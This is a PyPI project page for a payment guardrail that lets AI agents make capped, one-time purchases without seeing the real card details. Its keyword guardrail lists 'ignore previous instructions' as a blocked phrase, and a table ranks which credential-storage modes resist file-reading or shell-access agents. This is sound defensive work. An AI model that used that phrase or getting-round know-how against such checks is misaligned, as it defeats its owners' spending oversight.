Skip to main content

Point One Percent - Semantic Payment Guardrail for AI Agents. it only takes 0.1% of Hallucination to drain 100% of your wallet.

Project description

Point One Percent (AgentPay)

Point One Percent - Agent Pay

Note: This is the PyPI published documentation. For the full architecture diagrams and real UI screenshots, please visit the GitHub Repository.

Glama MCP score    Point One Percent on Product Hunt

it only takes 0.1% of Hallucination to drain 100% of your wallet.

Point One Percent — live CDP injection demo

Point One Percent is a payment guardrail and one-time flow protocol specifically designed for Agentic AI (e.g., OpenClaw, NemoClaw, Claude Code, OpenHands). It enables agents to handle financial transactions safely without risking unlimited exposure of human-controlled credit cards.

1. The Problem

When Agentic AI encounters a paywall (e.g., domain registration, API credits, compute scaling) during an automated workflow, it is often forced to stop and wait for human intervention. However, providing a physical credit card directly to an agent introduces a "trust crisis": hallucinations or infinite loops could lead to the card being drained.

2. Dual Architecture

Point One Percent is designed with a "Dual Architecture" vision to scale from open-source local experiments to enterprise-grade AI production pipelines.

1. Hacker Edition (BYOC + DOM Injection)

Built for open-source frameworks like OpenClaw and NemoClaw. The agent never receives the true credit card number—it only sees a masked version (`****-4242`). When the agent successfully navigates to a checkout paywall, the PopBrowserInjector attaches to the active Chromium browser via the Chrome DevTools Protocol (CDP). It precisely traverses all cross-origin iframes (like Stripe Elements) and injects the real credentials deep into the DOM form elements, delivering 100% protection against prompt injection or hallucination-driven extractions. Bring Your Own Card (BYOC) locally with absolute peace of mind.

2. Enterprise Edition (Stripe Issuing)

The "North Star" for the broader Agentic SaaS ecosystem. Proving that Point One Percent has the enterprise-grade extensibility required for the real world, it seamlessly connects to verified financial infrastructure. Perfect for platforms building "Agentic Visa" services that programmatically issue real, single-use, burner virtual credit cards (VCCs) via the Stripe API for cloud-hosted AI fleets.


3. Ecosystem Position: Point One Percent + Browser Agents = Unstoppable

Modern agentic workflows require two complementary capabilities. Point One Percent does one, and does it exceptionally well.

What Point One Percent Is — and Isn't

Point One Percent is the agent's financial brain and safe vault. It is responsible for:

  • Evaluating whether a purchase should happen (semantic guardrails)
  • Enforcing hard budget limits (daily cap, per-transaction cap)
  • Issuing one-time virtual cards so real credentials are never exposed
  • Maintaining a full audit trail of every payment attempt

Point One Percent does NOT:

  • Navigate websites or interact with DOM elements
  • Solve CAPTCHAs or bypass bot-detection systems

That's the browser agent's job.

The Handshake: How Point One Percent and Browser Agents Work Together

The real power emerges when Point One Percent is paired with a browser automation agent (e.g., OpenHands, browser-use, Skyvern). The workflow is a clean division of labor:

1. [Browser Agent]  Navigates to a site, scrapes product info, reaches checkout.
        │
        │  (Hit a paywall / payment form)
        ▼
2. [Browser Agent → POP MCP]  Calls request_virtual_card(amount, vendor, reasoning)
        │
        │  (Point One Percent evaluates: budget OK? vendor approved? no hallucination?)
        ▼
3. [POP]  Issues a one-time virtual card (Stripe mode) or mock card (dev mode).
            Full card credentials handled only by the local trusted process —
            never exposed to the agent or LLM context.
        │
        ▼
4. [POP]  Injects real credentials into the checkout form via CDP.
            The agent receives only a transaction confirmation — no card details.
        │
        ▼
5. [Browser Agent]  Clicks the submit button to complete the transaction.
        │
        ▼
6. [The Vault]  Dashboard logs the transaction. Card is immediately burned.

Supported Integrations

Integration path Works with
MCP Tool Claude Code, OpenClaw, NemoClaw, OpenHands, any MCP-compatible host
Python SDK Custom Playwright, browser-use, Skyvern, Selenium, gemini-cli

Any browser-capable agent (Claude Code, OpenClaw, browser-use, Skyvern, etc.) gets full CDP injection — card is auto-filled into the payment form, the agent only ever sees the masked confirmation (****-****-****-4242). See the Integration Guide for setup instructions and System Prompt templates.


4. Installation

Shell note: [...] is special syntax in zsh and bash — always wrap the package name in quotes.

# Core only (keyword guardrail + mock provider, zero external dependencies)
pip install "pop-pay"

# Claude Code / MCP integration
pip install "pop-pay[mcp]"

# Claude Code + CDP injection (BYOC)
pip install "pop-pay[mcp,browser]"

# With LLM-based guardrails (supports OpenAI, Ollama, vLLM, OpenRouter)
pip install "pop-pay[mcp,llm]"

# With Stripe virtual card issuing
pip install "pop-pay[stripe]"

# With LangChain integration
pip install "pop-pay[langchain]"

# Full installation (all features)
pip install "pop-pay[all]"

5. Quick Start for OpenClaw / NemoClaw / Claude Code / OpenHands

If you're using OpenClaw, NemoClaw, Claude Code, OpenHands, or any MCP-compatible agentic framework, you can get Point One Percent running in under 2 minutes:

Step 1: Set Up Environment & Install

# Create a dedicated directory and virtualenv
mkdir ~/pop-pay && cd ~/pop-pay
python3 -m venv .venv && source .venv/bin/activate

# Install — quotes required for zsh/bash
pip install "pop-pay[mcp,browser]"

Mock card only (no injection)? pip install "pop-pay[mcp]" is sufficient — skip the [browser] extra. LLM guardrail mode? Also install pip install "pop-pay[mcp,browser,llm]". Contributing / local development? See CONTRIBUTING.md for the git clone + uv sync path.

Step 1b: Initialize the Credential Vault

v0.6.0+: Credentials are stored in an AES-256-GCM encrypted vault — no plaintext .env required.

pop-init-vault

This will prompt for your card credentials (input is hidden), encrypt them into ~/.config/pop-pay/vault.enc, and securely wipe any existing .env. The MCP server auto-decrypts the vault at startup — no extra steps needed per session.

Passphrase mode (stronger — protects against agents with shell access):

pop-init-vault --passphrase   # one-time setup
pop-unlock                     # run once before each MCP server session

pop-unlock derives the key from your passphrase and stores it in the OS keyring. The MCP server reads it automatically at startup.

Security levels (lowest → highest):

Mode Protects against
.env file (legacy) Nothing — plaintext on disk
Vault, machine key, OSS source File-read agents
Vault, machine key, pip install pop-pay File-read agents + casual shell inspection
Vault + passphrase File-read agents + shell agents
Stripe Issuing (commercial) All local threats — no credentials stored

Policy & non-credential config (allowed vendors, spending limits, CDP URL) is still read from ~/.config/pop-pay/.env. Only card credentials moved to the vault.

Step 2: Launch Chrome & Get MCP Commands

pop-launch --print-mcp

This launches Chrome with CDP enabled and prints the exact claude mcp add commands to run.

Step 3: Add to Claude Code

Choose your platform and follow the dedicated setup guide:

Platform Setup Guide
Claude Code (BYOC + CDP injection, recommended) Integration Guide §1
Python script / gemini-cli Integration Guide §2
Playwright / browser-use / Skyvern Integration Guide §3
OpenClaw / NemoClaw Integration Guide §4
OpenHands Add python -m pop_pay.mcp_server to your mcpServers config

Step 4: Configure Policy

Edit ~/.config/pop-pay/.env (see Step 1b). Key variables:

Variable Default Description
POP_ALLOWED_CATEGORIES ["aws","cloudflare"] Vendors the agent is allowed to pay
POP_MAX_PER_TX 100.0 Max $ per transaction
POP_MAX_DAILY 500.0 Max $ per day
POP_BLOCK_LOOPS true Block hallucination/retry loops
POP_AUTO_INJECT false Enable CDP card injection
POP_GUARDRAIL_ENGINE keyword Guardrail engine: keyword (zero-cost, default) or llm (semantic, two-layer) — see Guardrail Mode

After editing .env, fully close and reopen Claude Code. The MCP server loads configuration at startup — !claude mcp list alone is not sufficient to pick up .env changes.

Guardrail Mode: Keyword vs LLM

Point One Percent ships with two guardrail engines. You switch between them with a single env var:

keyword (default) llm
How it works Blocks requests whose reasoning string contains suspicious keywords (e.g. "retry", "failed again", "ignore previous instructions") Sends the agent's reasoning to an LLM for deep semantic analysis
What it catches Obvious loops, hallucination phrases, prompt injection attempts Subtle off-topic purchases, logical inconsistencies, policy violations that keyword matching misses
Cost Zero — no API calls, instant One LLM call per request_virtual_card invocation
Dependencies None Any OpenAI-compatible endpoint
Best for Development, low-risk workflows, cost-sensitive setups Production, high-value transactions, untrusted agent pipelines

Tip: keyword mode requires no extra config. To enable LLM mode, see the full configuration reference in the Integration Guide §1.

Step 4: Use It

Your agent now has access to the request_virtual_card tool. When it encounters a paywall:

Agent: "I need to purchase an API key from AWS for $15 to continue."
[Tool Call] request_virtual_card(amount=15.0, vendor="AWS", reasoning="Need API key for deployment")
[POP] Payment approved. Card Issued: ****4242, Expiry: 12/25, Amount: 15.0
Agent: "Purchase successful, continuing workflow."

If the agent hallucinates or tries to overspend:

Agent: "Let me retry buying compute... the previous attempt failed again."
[Tool Call] request_virtual_card(amount=50.0, vendor="AWS", reasoning="failed again, retry loop")
[POP] Payment rejected. Reason: Hallucination or infinite loop detected in reasoning

6. Core Components

The Vault

A local visualization console powered by Streamlit and SQLite (pop_state.db). The Vault allows humans to:

  • Monitor all issued seals and agent spending activity in real-time.
  • Monitor global budget utilization.
  • Audit rejection logs from semantic guardrails.

The Seal

Virtual, single-use payment credentials with built-in enforcement:

  • Daily Budget Limit Enforcement: Automatically blocks any request that would exceed the predefined daily spending cap.
  • Burn-after-use Interception: Ensures that once a virtual card is used, it is immediately invalidated, preventing replay attacks or unauthorized recurring charges.

Semantic Guardrails

Point One Percent provides two modes of intent evaluation. Both are controlled by POP_GUARDRAIL_ENGINE in your .env (see §5 Step 3 for full configuration).

  1. Keyword mode (POP_GUARDRAIL_ENGINE=keyword, default): The GuardrailEngine scans the agent's reasoning string for suspicious phrases associated with loops or hallucinations (e.g., "retry", "failed again", "ignore previous"). Zero dependencies, zero latency, zero cost. Recommended as the starting point for all setups.

  2. LLM mode (POP_GUARDRAIL_ENGINE=llm): The LLMGuardrailEngine sends the agent's reasoning to an LLM for deep semantic analysis, catching subtler misuse that keyword matching would miss — such as off-topic purchases or logically inconsistent justifications. Supports any OpenAI-compatible endpoint: OpenAI, Ollama (local), vLLM, OpenRouter, and more.

7. Security Statement

Security is a first-class citizen in Point One Percent. The SDK masks card numbers by default (e.g., ****-****-****-4242) when returning authorization results to the agent. This prevents sensitive payment information from leaking into agent chat logs, model context windows, or persistent logs, ensuring that only the execution environment handles the raw credentials.

v0.6.0 defense-in-depth hardening:

Layer Defense
Encrypted vault Card credentials stored as AES-256-GCM ciphertext (vault.enc); plaintext never touches disk after pop-init-vault
Passphrase mode Key derived from user passphrase via PBKDF2 (600k iterations); stored in OS keyring — agents with shell access cannot derive the key
Database SQLite only stores masked card (****-4242); card_number and cvv columns removed entirely
Injection-time TOCTOU guard Domain verified against guardrail-approved vendor at the moment of injection — prevents redirect-to-attacker attacks
Repr redaction VirtualSeal.__repr__ always emits ****-REDACTED; credentials cannot leak via logs or tracebacks
Core dump prevention MCP server disables core dumps at startup (RLIMIT_CORE=0)
Process isolation Agent communicates via MCP JSON-RPC as a separate process — cannot access MCP server memory or env vars through the protocol

See SECURITY.md for the full threat model, red team results, and documented limitations.

8. The Vault Dashboard

The Vault is your real-time monitoring console for all agent payment activity.

Starting the Dashboard

cd Point-One-Percent
uv run streamlit run dashboard/app.py
# Dashboard opens at http://localhost:8501

Dashboard Layout

Section Description
Sidebar: Max Daily Budget slider Adjust the displayed budget cap for visualization (does not affect backend policy — backend policy is configured via env vars or SDK)
Today's Spending Total amount spent by agents today
Remaining Budget How much budget is left for the day
Budget Utilization Visual progress bar showing spend %
Issued Seals & Activity Full table of all payment attempts (approved + rejected) with seal ID, amount, vendor, status, and timestamp
Rejected Summary Filtered view showing only rejected/blocked attempts for quick auditing

Tips

  • Click Refresh Data in the sidebar to pull latest activity from the database.
  • The dashboard reads from pop_state.db — the same database the SDK writes to. Keep both running simultaneously for live monitoring.
  • Each row in the table corresponds to a single request_virtual_card call from an agent.

9. Python SDK Quickstart

Integrate Point One Percent into your custom Python or LangChain workflows in just a few lines:

from pop_pay.client import PopClient
from pop_pay.providers.stripe_mock import MockStripeProvider
from pop_pay.core.models import GuardrailPolicy

# Define your safety policy
policy = GuardrailPolicy(
    allowed_categories=["API", "Cloud", "SaaS"],
    max_amount_per_tx=50.0,
    max_daily_budget=200.0,
    block_hallucination_loops=True
)

# Initialize the client with keyword-only guardrails (default)
client = PopClient(
    provider=MockStripeProvider(),
    policy=policy,
    db_path="pop_state.db"
)

# Use with LangChain Tool
from pop_pay.tools.langchain import PopPaymentTool
tool = PopPaymentTool(client=client, agent_id="agent-01")

For LLM guardrail engine setup and the full provider reference, see Integration Guide §2.


10. Payment Providers: Stripe vs Mock

Without Stripe (Default — Mock Provider)

By default, Point One Percent uses the MockStripeProvider which simulates virtual card issuance. This is perfect for:

  • Development and testing — no real money involved
  • Demo and evaluation — see the full flow without any API keys
  • Hackathons — get a working prototype in minutes

Mock cards are fully functional within the system (budget tracking, burn-after-use, guardrails all work), but they are not real payment instruments.

BYOC — Bring Your Own Card (Hacker Edition)

For developers who want to use their own physical credit card with Point One Percent without a Stripe account. The LocalVaultProvider reads card credentials from environment variables and injects them into browser payment forms via CDP — the raw PAN is never exposed to the agent.

Add to your ~/.config/pop-pay/.env:

POP_BYOC_NUMBER=4111111111111111   # Your real card number
POP_BYOC_CVV=123
POP_BYOC_EXP_MONTH=12              # Expiry month, e.g. 04
POP_BYOC_EXP_YEAR=27               # Expiry year, e.g. 31
POP_AUTO_INJECT=true

Then restart Claude Code. The MCP server will automatically use LocalVaultProvider.

Provider priority (high → low): Stripe Issuing → BYOC Local → Mock.

If POP_STRIPE_KEY is set, Stripe takes precedence. If POP_BYOC_NUMBER is set (but no Stripe key), LocalVaultProvider is used. If neither is set, MockStripeProvider is used for development.

Security note: Never commit real card numbers to version control. Always use .env (which is .gitignored) or a secrets manager. The CDP injection ensures the full card number is only handled by the local trusted process, never by the LLM.

For Python SDK usage of each provider, see Integration Guide §2.

With Real Stripe Issuing

To issue real virtual credit cards through Stripe Issuing:

Prerequisites:

  1. A Stripe account with Issuing enabled (requires application approval)
  2. Your Stripe secret key (sk_live_... or sk_test_...)

Option A: Via Environment Variable (for MCP Server)

export POP_STRIPE_KEY=sk_live_your_stripe_key_here
python -m pop_pay.mcp_server
# The MCP server will automatically use StripeIssuingProvider

What Stripe Issuing does:

  • Creates a real Stripe Cardholder (POP Agent)
  • Issues a virtual card with a spending limit matching the approved amount
  • Returns masked card details (last 4 digits only) to the agent
  • All Stripe errors are caught and returned as rejection reasons

Note: Stripe Issuing is a premium Stripe product that requires approval. For most development and demo use cases, the Mock provider is sufficient.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

pop_pay-0.6.0-cp313-cp313-win_amd64.whl (156.6 kB view details)

Uploaded CPython 3.13Windows x86-64

pop_pay-0.6.0-cp313-cp313-win32.whl (142.0 kB view details)

Uploaded CPython 3.13Windows x86

pop_pay-0.6.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (302.9 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

pop_pay-0.6.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (290.5 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

pop_pay-0.6.0-cp313-cp313-macosx_11_0_arm64.whl (98.5 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

pop_pay-0.6.0-cp312-cp312-win_amd64.whl (128.8 kB view details)

Uploaded CPython 3.12Windows x86-64

pop_pay-0.6.0-cp312-cp312-win32.whl (113.5 kB view details)

Uploaded CPython 3.12Windows x86

pop_pay-0.6.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (238.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

pop_pay-0.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (230.0 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

pop_pay-0.6.0-cp312-cp312-macosx_11_0_arm64.whl (85.1 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

pop_pay-0.6.0-cp311-cp311-win_amd64.whl (99.7 kB view details)

Uploaded CPython 3.11Windows x86-64

pop_pay-0.6.0-cp311-cp311-win32.whl (84.5 kB view details)

Uploaded CPython 3.11Windows x86

pop_pay-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (169.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

pop_pay-0.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (164.2 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

pop_pay-0.6.0-cp311-cp311-macosx_11_0_arm64.whl (71.0 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

pop_pay-0.6.0-cp310-cp310-win_amd64.whl (71.0 kB view details)

Uploaded CPython 3.10Windows x86-64

pop_pay-0.6.0-cp310-cp310-win32.whl (55.9 kB view details)

Uploaded CPython 3.10Windows x86

pop_pay-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (104.3 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

pop_pay-0.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (102.0 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

pop_pay-0.6.0-cp310-cp310-macosx_11_0_arm64.whl (56.9 kB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

File details

Details for the file pop_pay-0.6.0-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 156.6 kB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 7105f85e53906576de8937eb256e247502b2fd2f432df7e7e94b8e402f0df893
MD5 f62a8a1cc27c1cf3b6b122a159dfb94d
BLAKE2b-256 a60c0f601cd97035e250e336f6fb68671273da784384521c557042158b2bcf10

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp313-cp313-win32.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp313-cp313-win32.whl
  • Upload date:
  • Size: 142.0 kB
  • Tags: CPython 3.13, Windows x86
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp313-cp313-win32.whl
Algorithm Hash digest
SHA256 478ff381ace0eef6957c2d0726895ab1bf6743709d85250aace877f5a44a6ed2
MD5 d7def05528f10eb97e90ab1744e89f2a
BLAKE2b-256 e814f3b49f6b59a6505c4ba734007b7641be354f0b04bff72d8055b7895997ba

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 e7601609f7829461264c2d7ca7afacf19e9c59f6c19dced8949b981ed818acb6
MD5 283dbdc0fdf50eb6c2c6a6188e307138
BLAKE2b-256 6f545ca3a83a6be2ba141704f4517b03a9a89a1e6af2bf4a50bcd68de4e3f99f

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 e817d4ffb5c630c725444797eba82d7ef3a9be9de7a96c73a505bdcb3af8d171
MD5 803b3777e803fd3a02e870e51e65f9e7
BLAKE2b-256 aaf9c38172eb95d0f04c49b7eb2769d753c53dcdcd45759efabb278c38008893

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 3153b474905eaae84ff3b5cd28b1280b0ec29749dcfd1a98a54488795f634bb3
MD5 048a3b219e9c997846b71fe2754e6883
BLAKE2b-256 e5c0208c8bc831f4691a3c8fd95579cd010db1c52c1ee0d858c6161c8db9055a

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 128.8 kB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 80acb65a95373c53eef4652fbc1045b6f81c38094a970977f93e1a0bd47defb3
MD5 98165acc4e57404513e8f67f9cf7bbda
BLAKE2b-256 43b76b46d9ff88085407456682676cb8db5eb96f72d3e5a25ded88e9d8b66ca5

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp312-cp312-win32.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp312-cp312-win32.whl
  • Upload date:
  • Size: 113.5 kB
  • Tags: CPython 3.12, Windows x86
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp312-cp312-win32.whl
Algorithm Hash digest
SHA256 bcc9b5e8831041704d58d14559006c5317047dcf11a3e56e6531a0df8ee667c8
MD5 97d07d470b39c601063930d062b7d106
BLAKE2b-256 5e4febdcd55020064f57da0e1d91efd2c6ef1a92af4624a9da17c263ca8f50db

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 46a47400c40332010346f9314016a15e28563dfab4028322098679b8580206ec
MD5 6e656fd052b84937fa87bb350573641e
BLAKE2b-256 43908883405a9203d4da43deec60f5df3af5cc733ceea5221a69d72ea9dec964

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 0d211ee54cd3c3b20b78c591fb2dd6ab409fefaa26cf20f71393eab4917ad41e
MD5 747117587579086f343b143eeee96721
BLAKE2b-256 fb70dc7efed675c94eb84d3801a77963134a5c44e4cf743af0f42f7939257ec6

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 0f8fa9b1dc2f68adbb1d80d886272f27289ae5bb9caca8295ccb7562eaf77be6
MD5 bf0f7424c0f98e8b03d8b7bb2255ca9d
BLAKE2b-256 a1170bb781c35c8ec3ae8b218846c5f1cca54eae128365d41ef621c704d4d4d0

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 99.7 kB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 dd14abe2d56dd8d7a7e17ebaea184254723e81826cf2fbd45936793565742277
MD5 bc4292544bd30db9e177376bdbf50352
BLAKE2b-256 cf034fed2491c97edb077da6a86fc3ecaf7ced4ea7792ecfd283538e57c1d096

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp311-cp311-win32.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp311-cp311-win32.whl
  • Upload date:
  • Size: 84.5 kB
  • Tags: CPython 3.11, Windows x86
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp311-cp311-win32.whl
Algorithm Hash digest
SHA256 8e02aa1fbfb34fb0bd4c3462016ccdcdd5762699920269bace81f82ce39a9f4b
MD5 c1fe47e3c13d9fb4b691df86e5fa43c8
BLAKE2b-256 e7f5752e80935b66b9fc34402eb54c0c1fe086d64f1c724c7a54b927fd261203

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 e046ed39669d3a3c6df2af417cd1a30573c5d3983c289a52cfcd94a6b922e27a
MD5 66cfc975dce576b5eff51a2f01618cde
BLAKE2b-256 ef7bd52459187ed3b22ee73c718c43e67a9903e6482b84368624283db903e73b

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 a95d36a7204731f227cb57e112c10986f728d29264edecdb823417685f883645
MD5 09e946710d1af9ba5a6216af0054480c
BLAKE2b-256 c4556d1e4b6ec7f69ab5c7f830cdf9a9433601052d6e06655ec0073833456ffc

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 77432fb5a63a65448849b2243ef62d11a6488854036b3f638dc13940d5abc0d0
MD5 6b61647d54dcb8cf2043f51da1c1a4f8
BLAKE2b-256 03dd63038642e75e950adcf224632ed7c331b97abcc94e51310676cb6a61bb40

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 71.0 kB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 2f9c2daf8d3e1f1da9618214533737b28ed378ca1487b7b443f082f8f8552e08
MD5 320faa757158efca27f8ffe4adcde49c
BLAKE2b-256 9308780657f44867efb539f02ab834d1e34171e0e5bbfa34620ca90dedc7698c

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp310-cp310-win32.whl.

File metadata

  • Download URL: pop_pay-0.6.0-cp310-cp310-win32.whl
  • Upload date:
  • Size: 55.9 kB
  • Tags: CPython 3.10, Windows x86
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for pop_pay-0.6.0-cp310-cp310-win32.whl
Algorithm Hash digest
SHA256 242bc1919fed27ddf8e32c3fe839e579bb4656f4fbbf055878aa644424fd723b
MD5 4303dee591f2b7d62328abab13600606
BLAKE2b-256 a5b2636e5895bd44eb2c14c43157625450b545fb35ef3b9321abdadf91886ba5

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 d9a43199a79c8c5ffb1975b09a409f714dd263da36a0e1c0098da0da421cd9e7
MD5 c70e2f1ac41a822a20d706986f96eb0f
BLAKE2b-256 108b86aac60faae4634008c621ba65c5b7bc190aa5b9dcc31cf080c0d2daf203

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 05655658c55a8da4fcb0deec43f8bb147aea949f6b5cf3435b38916629568bf4
MD5 2f69f170ef728157dab3e178c4dc3dbb
BLAKE2b-256 51012419adbf63f6c61f33d42d2f49a726966b7f14f3fdf8d50a2d25d2fc93d0

See more details on using hashes here.

File details

Details for the file pop_pay-0.6.0-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for pop_pay-0.6.0-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 bdd032603ec556518bd1e9720f00beb6bf7729a9fc4ea58789b56cdd4be7f27c
MD5 e91abe29bda066f5c4748f61f84f2f62
BLAKE2b-256 8cb400ce8b2507c2b55011476c39b919233d49b612ff94e25cd045d1b5b60097

See more details on using hashes here.

Supported by

